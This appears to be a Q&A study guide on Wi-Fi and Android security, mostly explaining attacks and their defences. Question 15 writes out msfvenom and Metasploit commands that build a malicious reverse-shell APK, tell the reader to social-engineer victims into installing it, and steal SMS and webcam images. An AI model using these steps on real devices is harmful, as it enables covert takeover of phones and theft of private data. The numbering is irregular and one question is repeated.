**CYBER SECURITY - Wireless And Android Hacking**

**1. What Is Wi-Fi Deauthentication Attack and How Can It Be Prevented?**

**Answer:**

A **Wi-Fi Deauthentication Attack** is a type of denial-of-service attack where an attacker sends deauthentication frames to a wireless client, forcing it to disconnect from the network.

**How It Works:**

* **Attack Execution**: The attacker spoofs the MAC address of the access point or the client and sends deauthentication frames to disrupt the connection.
* **Tool Example**: Tools like **Aircrack-ng** can be used to perform deauthentication attacks.

**Prevention:**

1. **Use WPA3**:
   * Provides improved security mechanisms to prevent deauthentication attacks.
2. **Enable Management Frame Protection (MFP)**:
   * Adds a layer of protection by verifying management frames.
3. **Monitor Networks**:
   * Use **Wireless Intrusion Detection Systems (WIDS)** to detect and respond to deauthentication attacks.

**Example Scenario:**

An attacker uses a deauthentication attack to disconnect a user's laptop from a public Wi-Fi network. The user reconnects to a rogue access point set up by the attacker, who then intercepts their data. Using WPA3 and MFP can prevent this attack.

**12. How Do Attackers Exploit Weaknesses in WEP Encryption, and What Are the Alternatives?**

**Answer:**

**WEP (Wired Equivalent Privacy)** is an outdated and insecure wireless encryption protocol.

**Weaknesses:**

1. **IV (Initialization Vector) Reuse**:
   * WEP uses a 24-bit IV, leading to frequent reuse and predictable patterns.
2. **Weak RC4 Algorithm**:
   * Vulnerabilities in the RC4 algorithm allow attackers to decrypt traffic.
3. **Brute Force Attacks**:
   * Easily brute-forced due to short key lengths (40-bit or 104-bit).

**Exploitation Tools:**

* **Aircrack-ng**: Captures WEP-encrypted packets and uses statistical methods to crack the key.

**Alternatives:**

1. **WPA2 (Wi-Fi Protected Access 2)**:
   * Uses AES encryption and CCMP for improved security.
2. **WPA3**:
   * Provides robust protection with SAE (Simultaneous Authentication of Equals) for key exchange.

**Example Scenario:**

An attacker captures WEP-encrypted traffic and uses Aircrack-ng to crack the key within minutes. Switching to WPA3 encryption mitigates this risk.

**3. How Do Android Rooting and Jailbreaking Pose Security Risks?**

**Answer:**

**Rooting (Android) and Jailbreaking (iOS)** involve gaining administrative privileges on a device, bypassing manufacturer restrictions.

**Security Risks:**

1. **Malware Infections**:
   * Rooted/jailbroken devices are more susceptible to malware due to the removal of security restrictions.
2. **Unauthorized Access**:
   * Attackers can exploit vulnerabilities to gain full control over the device.
3. **Loss of Security Updates**:
   * Rooting/jailbreaking often disables automatic system updates, leaving devices vulnerable to known exploits.
4. **Data Leakage**:
   * Apps can access sensitive system files and data without restrictions.

**Example Scenario:**

A user roots their Android device to install custom ROMs but inadvertently downloads a malicious app that steals their banking information. Keeping the device unrooted ensures better security.

**4. What Is the Role of Kali Linux in Wireless and Android Hacking?**

**Answer:**

**Kali Linux** is a popular Linux distribution designed for penetration testing and security auditing.

**Key Features:**

1. **Pre-installed Tools**:
   * Includes tools for wireless network analysis (e.g., Aircrack-ng), exploitation frameworks (e.g., Metasploit), and Android security testing (e.g., Drozer).
2. **Customizable**:
   * Users can customize Kali Linux to include specific tools and configurations needed for their security tasks.
3. **Active Community**:
   * Supported by a large community of security professionals and developers who contribute to its continuous improvement.

**Use Cases:**

1. **Wireless Hacking**:
   * **Example**: Using Kali Linux to conduct a deauthentication attack with Aircrack-ng to test network security.
2. **Android Penetration Testing**:
   * **Example**: Using Drozer to identify vulnerabilities in Android apps and systems.

**Example Scenario:**

A security analyst uses Kali Linux to audit the security of a corporate Wi-Fi network, identifying weaknesses and recommending improvements.

**15. Explain the Process of Exploiting an Android Device Using Metasploit**

**Answer:**

**Metasploit** is a powerful penetration testing framework used to exploit vulnerabilities in systems and applications.

**Steps to Exploit an Android Device:**

1. **Set Up Metasploit**:
   * Launch Metasploit Framework (msfconsole) on Kali Linux.
2. **Generate Payload**:
   * Create a malicious APK file using the msfvenom tool:
   * msfvenom -p android/meterpreter/reverse\_tcp LHOST=<Your IP> LPORT=<Your Port> R > malicious.apk
3. **Distribute Payload**:
   * Social engineer the target to install the malicious APK on their Android device.
4. **Set Up a Listener**:
   * Configure Metasploit to listen for incoming connections from the payload:
   * use exploit/multi/handler
   * set payload android/meterpreter/reverse\_tcp
   * set LHOST <Your IP>
   * set LPORT <Your Port>
   * exploit
5. **Gain Access**:
   * Once the target installs the APK, the device connects back to the attacker's machine, providing a Meterpreter session.
6. **Execute Commands**:
   * Use Meterpreter to execute commands on the compromised device, such as:
   * sysinfo
   * dump\_sms
   * webcam\_snap

**Example Scenario:**

An ethical hacker uses Metasploit to test the security of an Android device by generating a payload, distributing it to a test device, and gaining access to identify potential vulnerabilities.

**16. How Does Bluetooth Hacking Work, and What Are the Countermeasures?**

**Answer:**

**Bluetooth Hacking** involves exploiting vulnerabilities in Bluetooth protocols to gain unauthorized access to devices.

**Common Attacks:**

1. **Bluejacking**:
   * **Description**: Sending unsolicited messages to Bluetooth-enabled devices.
   * **Impact**: Mostly harmless but can be used for phishing.
2. **Bluesnarfing**:
   * **Description**: Unauthorized access to a device's data (e.g., contacts, messages) via Bluetooth.
   * **Impact**: Data theft and privacy invasion.
3. **BlueBorne**:
   * **Description**: Exploiting vulnerabilities in Bluetooth stacks to take control of devices.
   * **Impact**: Remote code execution and complete device compromise.

**Countermeasures:**

1. **Disable Bluetooth When Not in Use**:
   * Prevents unauthorized connections.
2. **Use Non-Discoverable Mode**:
   * Makes the device invisible to new Bluetooth pairing requests.
3. **Update Firmware and Software**:
   * Ensures the latest security patches are applied to fix known vulnerabilities.
4. **Authentication and Encryption**:
   * Use secure pairing methods that require PINs or passwords.

**Example Scenario:**

An attacker uses a Bluetooth sniffer to identify and exploit devices with weak security settings. By disabling Bluetooth when not needed, users can mitigate this risk.

**17. What Are the Advanced Techniques for Android Malware Analysis?**

**Answer:**

**Android Malware Analysis** involves examining malicious apps to understand their behavior and mitigate threats.

**Techniques:**

1. **Static Analysis**:
   * **Reverse Engineering**: Decompile APKs using tools like **Jadx** to examine code.
   * **Manifest Analysis**: Check the AndroidManifest.xml for suspicious permissions and activities.
   * **String Analysis**: Extract and analyze strings for hardcoded URLs, IPs, or commands.
2. **Dynamic Analysis**:
   * **Sandboxing**: Execute the app in a controlled environment (e.g., **Cuckoo Sandbox**) to observe behavior.
   * **Emulation**: Run the app on an Android emulator to monitor its runtime activities.
   * **Network Traffic Monitoring**: Use tools like **Wireshark** to analyze the app's network communications.
3. **Behavioral Analysis**:
   * **Log Monitoring**: Analyze system logs for unusual activity when the app is running.
   * **API Calls**: Track system and API calls using frameworks like **Frida** to identify malicious operations.
4. **Forensic Analysis**:
   * **Memory Dumping**: Capture and examine the device's memory to detect malware residing in RAM.
   * **File System Analysis**: Explore the file system for malicious binaries and artifacts.

**Example Scenario:**

A security researcher analyzes a suspicious Android app by decompiling it with Jadx, observing its behavior in an emulator, and monitoring network traffic. They discover that the app secretly sends user data to a remote server, confirming its malicious intent.

**18. How Can Wi-Fi Pineapple Be Used for Wireless Network Audits?**

**Answer:**

The **Wi-Fi Pineapple** is a versatile penetration testing device used to audit wireless networks.

**Features:**

1. **Rogue Access Point**:
   * Mimics legitimate networks to capture data from connected clients.
   * Useful for social engineering and man-in-the-middle attacks.
2. **Packet Sniffing**:
   * **Function**: Captures and analyzes wireless packets to identify vulnerabilities.
   * **Use Case**: Monitoring network traffic for unauthorized data leaks and potential attacks.
3. **Deauthentication Attacks**:
   * **Function**: Forces clients to disconnect from a legitimate access point, prompting reconnection to the rogue AP.
   * **Use Case**: Testing the effectiveness of network security measures.
4. **SSID Broadcasting**:
   * **Function**: Broadcasts multiple SSIDs to detect devices that auto-connect to known networks.
   * **Use Case**: Identifying and mitigating risks of devices connecting to rogue access points.

**Example Scenario**:

A security consultant uses a Wi-Fi Pineapple to conduct a wireless network audit for a client. They simulate a rogue access point to demonstrate how easily an attacker could intercept sensitive information on an unsecured network. This helps the client understand the importance of strong encryption and network monitoring.

**19. What Is the Purpose of Network Segmentation in Wireless Security, and How Is It Implemented?**

**Answer:**

**Network Segmentation** involves dividing a network into smaller, isolated segments to enhance security and performance.

**Purpose**:

1. **Improved Security**:
   * Limits the spread of malware and unauthorized access by isolating network segments.
   * Reduces the attack surface by containing potential breaches within a segment.
2. **Performance Optimization**:
   * Reduces network congestion by limiting broadcast traffic to specific segments.
   * Enhances overall network efficiency and reliability.
3. **Compliance and Control**:
   * Helps organizations meet regulatory requirements by segmenting sensitive data and systems.
   * Enables granular control over access and permissions.

**Implementation**:

1. **Virtual LANs (VLANs)**:
   * **Definition**: Logical segmentation of a network into separate broadcast domains.
   * **Example**: Creating VLANs for different departments (e.g., Finance, HR, IT) to isolate their traffic.
2. **Access Control Lists (ACLs)**:
   * **Definition**: Rules that control the flow of traffic between segments.
   * **Example**: An ACL that allows only IT department devices to access server resources.
3. **Firewalls and Gateways**:
   * **Definition**: Devices that enforce security policies between network segments.
   * **Example**: A firewall that restricts traffic between the internal network and the guest Wi-Fi.

**Example Scenario**:

A hospital segments its network to isolate medical devices from the main corporate network. This prevents potential malware on staff computers from compromising critical healthcare equipment, ensuring patient safety and data security.

**20. How Can an Android Device Be Hardened Against Hacking Attempts?**

**Answer**:

**Hardening** an Android device involves implementing security measures to reduce vulnerabilities and protect against hacking attempts.

**Steps for Hardening**:

1. **Apply Security Updates**:
   * Ensure the device's operating system and apps are updated with the latest security patches.
   * Example: Enabling automatic updates to receive timely fixes.
2. **Enable Full Disk Encryption**:
   * Encrypts data stored on the device, protecting it from unauthorized access.
   * Example: Using Android's built-in encryption feature available in the settings menu.
3. **Use Strong Authentication**:
   * Set up complex passwords, PINs, or biometric authentication (e.g., fingerprint or facial recognition).
   * Example: Configuring a biometric lock screen to prevent unauthorized access.
4. **Limit App Permissions**:
   * Review and restrict unnecessary permissions granted to apps.
   * Example: Denying a weather app access to contacts and location data.
5. **Install Security Software**:
   * Use reputable antivirus and anti-malware apps to detect and block threats.
   * Example: Installing apps like Malwarebytes or Bitdefender.
6. **Enable Google Play Protect**:
   * Activates built-in malware scanning and app verification.
   * Example: Ensuring Google Play Protect is enabled in the Play Store settings.
7. **Avoid Third-Party App Stores**:
   * Download apps exclusively from trusted sources like the Google Play Store.
   * Example: Disabling the option to install apps from unknown sources.
8. **Use Secure Networks**:
   * Connect to trusted Wi-Fi networks and use a VPN for added security.
   * Example: Using a VPN app like ExpressVPN when accessing public Wi-Fi.

**Example Scenario**:

A user hardens their Android device by enabling full disk encryption, setting up biometric authentication, and installing a reputable antivirus app. They also regularly review app permissions and ensure security updates are applied, significantly reducing the risk of hacking attempts.

**21. What Are Evil Twin Attacks in Wireless Networks, and How Can They Be Mitigated?**

**Answer**:

An **Evil Twin Attack** involves setting up a rogue access point that mimics a legitimate Wi-Fi network, tricking users into connecting to it and intercepting their data.

**How It Works**:

1. **Setup**:
   * The attacker creates an access point with the same SSID and similar characteristics as the legitimate network.
2. **Connection**:
   * Users unknowingly connect to the rogue access point, believing it to be legitimate.
3. **Data Interception**:
   * The attacker intercepts and potentially manipulates the data transmitted between the user and the network.

**Mitigation**:

1. **Educate Users**:
   * Raise awareness about the risks of connecting to unfamiliar Wi-Fi networks.
   * Example: Advising users to verify network names with the establishment before connecting.
2. **Use Strong Encryption**:
   * Implement WPA3 encryption to ensure secure connections.
   * Example: Configuring routers to use WPA3 for all wireless connections.
3. **Enable VPNs**:
   * Use Virtual Private Networks to encrypt data traffic, even over potentially compromised networks.
   * Example: Connecting to a VPN service when using public Wi-Fi.
4. **Implement Network Access Control (NAC)**:
   * Use NAC solutions to authenticate devices before granting network access.
   * Example: Deploying NAC to verify devices and block rogue access points.

**Example Scenario**:

A café's Wi-Fi network is targeted by an attacker who sets up an evil twin with the same SSID. Educated customers verify the network with the café staff before connecting, preventing them from falling victim to the attack. Additionally, regular patrons use VPNs to encrypt their data traffic, adding an extra layer of security.

**22. How Do Rootkits Operate on Android Devices, and What Are the Detection Methods?**

**Answer**:

**Rootkits** are malicious software designed to gain unauthorized root-level access to a device while hiding their presence.

**Operation**:

1. **Installation**:
   * Rootkits can be installed through malicious apps, drive-by downloads, or exploiting vulnerabilities.
2. **Privilege Escalation**:
   * Gain root access, allowing them to control and manipulate system processes and files.
3. **Stealth Mechanisms**:
   * Hide their presence by intercepting and modifying system calls, making them difficult to detect.

**Detection Methods**:

1. **Behavioral Analysis**:
   * Monitor for unusual behavior, such as unexpected battery drain, overheating, or performance issues.
2. **Rootkit Scanners**:
   * Use specialized rootkit detection tools to scan for hidden files and processes.
   * Example: Using **RootkitHunter** or **Chkrootkit** on rooted Android devices.
3. **Integrity Checks**:
   * Verify the integrity of system files and compare them against known good versions.
   * Example: Using file integrity checkers to detect alterations.
4. **Logs and Forensics**:
   * Analyze system logs for suspicious activity and anomalies.
   * Example: Reviewing log files for unauthorized access attempts or changes to critical files.

**Example Scenario**:

A security researcher suspects an Android device is compromised by a rootkit. They use a rootkit scanner to identify hidden processes and files, followed by a forensic analysis of system logs. Upon confirming the presence of the rootkit, they recommend a factory reset to restore the device's integrity.

**23. What Is the Impact of Zero-Day Vulnerabilities on Wireless and Android Security?**

**Answer**:

**Zero-Day Vulnerabilities** are security flaws in software that are unknown to the vendor and have no available patches or fixes.

**Impact**:

1. **Exploitation**:
   * Attackers can exploit these vulnerabilities to gain unauthorized access, execute code, or steal data.
2. **Wide Reach**:
   * Affects all devices using the vulnerable software, leading to widespread potential impact.
3. **Delayed Mitigation**:
   * Vendors need time to develop and distribute patches, leaving systems exposed in the interim.

**Examples**:

1. **Wireless Zero-Day**:
   * A zero-day in a Wi-Fi protocol (e.g., KRACK attack on WPA2) allows attackers to intercept and decrypt traffic.
2. **Android Zero-Day**:
   * A zero-day vulnerability in the Android operating system allows attackers to gain root access and control devices.

**Mitigation Strategies**:

1. **Regular Updates**:
   * Apply available patches promptly to minimize exposure.
   * Example: Keeping the device's operating system and apps up to date.

**23. What Is the Impact of Zero-Day Vulnerabilities on Wireless and Android Security?**

**Answer**:

**Zero-Day Vulnerabilities** are security flaws in software that are unknown to the vendor and have no available patches or fixes.

**Impact**:

1. **Exploitation**:
   * Attackers can exploit these vulnerabilities to gain unauthorized access, execute code, or steal data.
2. **Wide Reach**:
   * Affects all devices using the vulnerable software, leading to widespread potential impact.
3. **Delayed Mitigation**:
   * Vendors need time to develop and distribute patches, leaving systems exposed in the interim.

**Examples**:

1. **Wireless Zero-Day**:
   * A zero-day in a Wi-Fi protocol (e.g., **KRACK attack** on WPA2) allows attackers to intercept and decrypt traffic.
2. **Android Zero-Day**:
   * A zero-day vulnerability in the Android operating system allows attackers to gain root access and control devices.

**Mitigation Strategies**:

1. **Regular Updates**:
   * Apply available patches promptly to minimize exposure.
   * **Example**: Keeping the device's operating system and apps up to date.
2. **Advanced Threat Detection**:
   * Implement systems that can detect anomalies or suspicious behavior indicative of zero-day exploits.
   * **Example**: Using Endpoint Detection and Response (EDR) solutions.
3. **Network Segmentation**:
   * Limit the spread of potential exploits by segmenting networks.
   * **Example**: Isolating critical systems from general user access.

**Example Scenario**:

A company responds to a newly discovered zero-day vulnerability affecting their wireless routers. They immediately apply vendor-released patches and implement advanced threat detection tools to monitor for any unusual activity, thereby reducing the risk of exploitation.

**24. What Is the Role of Advanced Persistent Threats (APTs) in Wireless and Android Security?**

**Answer**:

**Advanced Persistent Threats (APTs)** are prolonged and targeted cyberattacks aimed at stealing data, disrupting operations, or conducting espionage.

**Characteristics**:

1. **Targeted**:
   * Focus on specific organizations or individuals, often for strategic, political, or financial gain.
2. **Persistent**:
   * Attackers remain undetected for long periods, continuously monitoring and extracting data.
3. **Sophisticated**:
   * Use advanced techniques and tools to bypass security measures and maintain access.

**Stages of APTs**:

1. **Initial Compromise**:
   * Exploiting vulnerabilities or using social engineering to gain initial access.
2. **Establishing Foothold**:
   * Deploying malware to maintain persistent access and establish command and control (C2) channels.
3. **Internal Reconnaissance**:
   * Mapping the network and identifying valuable assets.
4. **Lateral Movement**:
   * Moving within the network to access targeted systems and data.
5. **Data Exfiltration**:
   * Extracting sensitive data without detection.

**Examples**:

* **APT28 (Fancy Bear)**:
  + A Russian cyber-espionage group targeting government and military organizations using spear-phishing and malware.
* **APT29 (Cozy Bear)**:
  + Another Russian group known for sophisticated attacks on political entities, including the 2016 US elections.

**Mitigation Strategies**:

1. **Network Monitoring**:
   * Continuous monitoring for unusual activities and anomalies.
   * **Example**: Using Security Information and Event Management (SIEM) systems.
2. **User Education**:
   * Training employees to recognize and report phishing attempts and suspicious behavior.
   * **Example**: Regular security awareness programs.
3. **Incident Response Plan**:
   * Developing and rehearsing a comprehensive incident response plan.
   * **Example**: Conducting tabletop exercises to test and refine response procedures.

**Example Scenario**:

An organization targeted by an APT group implements advanced network monitoring and conducts regular security awareness training for employees. They develop an incident response plan to quickly identify and contain potential threats, reducing the risk of significant damage.

**25. How Do Botnets Operate, and What Are Their Implications for Wireless and Android Security?**

**Answer**:

**Botnets** are networks of compromised devices controlled remotely by an attacker, often used for malicious activities.

**Operation**:

1. **Infection**:
   * Devices are infected with malware (e.g., via email attachments, drive-by downloads).
2. **Command and Control (C2)**:
   * Infected devices connect to a central C2 server or use peer-to-peer communication to receive commands.
3. **Malicious Activities**:
   * Botnets can be used for various attacks, including Distributed Denial of Service (DDoS), spamming, data theft, and cryptocurrency mining.

**Examples**:

1. **Mirai Botnet**:
   * Targeted IoT devices using default credentials, launching massive DDoS attacks.
2. **AndroRAT**:
   * An Android Remote Administration Tool used to build botnets of compromised Android devices.

**Implications**:

1. **Resource Consumption**:
   * Infected devices may experience degraded performance and increased data usage.
2. **Security Risks**:
   * Botnets can be used to steal personal information, credentials, and other sensitive data.
3. **Network Disruptions**:
   * DDoS attacks from botnets can overwhelm networks and services, causing downtime.

**Mitigation Strategies**:

1. **Strong Authentication**:
   * Use complex passwords and change default credentials.
   * **Example**: Updating the default passwords on IoT devices.
2. **Regular Updates**:
   * Ensure all devices are updated with the latest security patches.
   * **Example**: Enabling automatic updates on routers and smart devices.
3. **Antivirus and Anti-Malware**:
   * Install and maintain security software to detect and remove botnet malware.
   * **Example**: Using reputable security apps on Android devices.
4. **Network Segmentation**:
   * Isolate critical systems to limit the spread of botnet infections.
   * **Example**: Creating separate VLANs for IoT devices and sensitive systems.

**Example Scenario**:

A company discovers that several of its IoT devices have been compromised by the Mirai botnet. They respond by updating all device firmware, changing default passwords, and implementing network segmentation to prevent future infections and contain the spread.

**26. What Is the Importance of Two-Factor Authentication (2FA) in Preventing Wireless and Android Attacks?**

**Answer**:

**Two-Factor Authentication (2FA)** adds an extra layer of security by requiring two forms of verification during login.

**Importance**:

1. **Enhanced Security**:
   * Even if credentials are compromised, the second factor prevents unauthorized access.
2. **Protection Against Phishing**:
   * Reduces the risk of phishing attacks by requiring an additional authentication factor.
3. **Mitigates Credential Stuffing**:
   * Prevents attackers from using leaked credentials from other breaches.

**Implementation**:

1. **SMS-Based 2FA**:
   * Receives a one-time code via SMS.
   * **Example**: Banks sending OTPs for transaction verification.
2. **Authenticator Apps**:
   * Generates time-based one-time passwords (TOTP).
   * **Example**: Google Authenticator, Authy.
3. **Hardware Tokens**:
   * Physical devices that generate or store authentication codes.
   * **Example**: YubiKey, RSA SecurID.
4. **Biometrics**:
   * Uses fingerprints, facial recognition, or other biometric data.
   * **Example**: Facial recognition to unlock a device and access apps.

**Example Scenario**:

An Android user enables 2FA on their Google account, using an authenticator app. Even if their password is compromised, the attacker cannot access the account without the one-time code generated by the app, enhancing security against unauthorized access.

**27. How Do Advanced Wi-Fi Hacking Tools Like Aircrack-ng and Reaver Work?**

**Answer**:

**Aircrack-ng** and **Reaver** are advanced tools used for wireless network security testing.

**Aircrack-ng**:

1. **Packet Capturing**:
   * Captures wireless packets to analyze traffic and identify vulnerabilities.
   * **Example**: Using a compatible wireless adapter to monitor Wi-Fi traffic.
2. **WEP and WPA/WPA2 Cracking**:
   * Uses captured packets to crack WEP keys and perform brute-force attacks on WPA/WPA2 handshakes.
   * **Example**: Capturing a WPA handshake during a deauthentication attack and using dictionary attacks to find the passphrase.

**Reaver**:

1. **WPS PIN Attacks**:
   * Exploits vulnerabilities in Wi-Fi Protected Setup (WPS) to retrieve the WPA/WPA2 passphrase.
   * **Example**: Using Reaver to brute-force the WPS PIN and gain access to the network.

**Example Scenario**:

A penetration tester uses Aircrack-ng to capture packets from a target Wi-Fi network and successfully cracks a WEP key. They then use Reaver to exploit WPS vulnerabilities on another network, demonstrating the importance of disabling WPS and using strong encryption.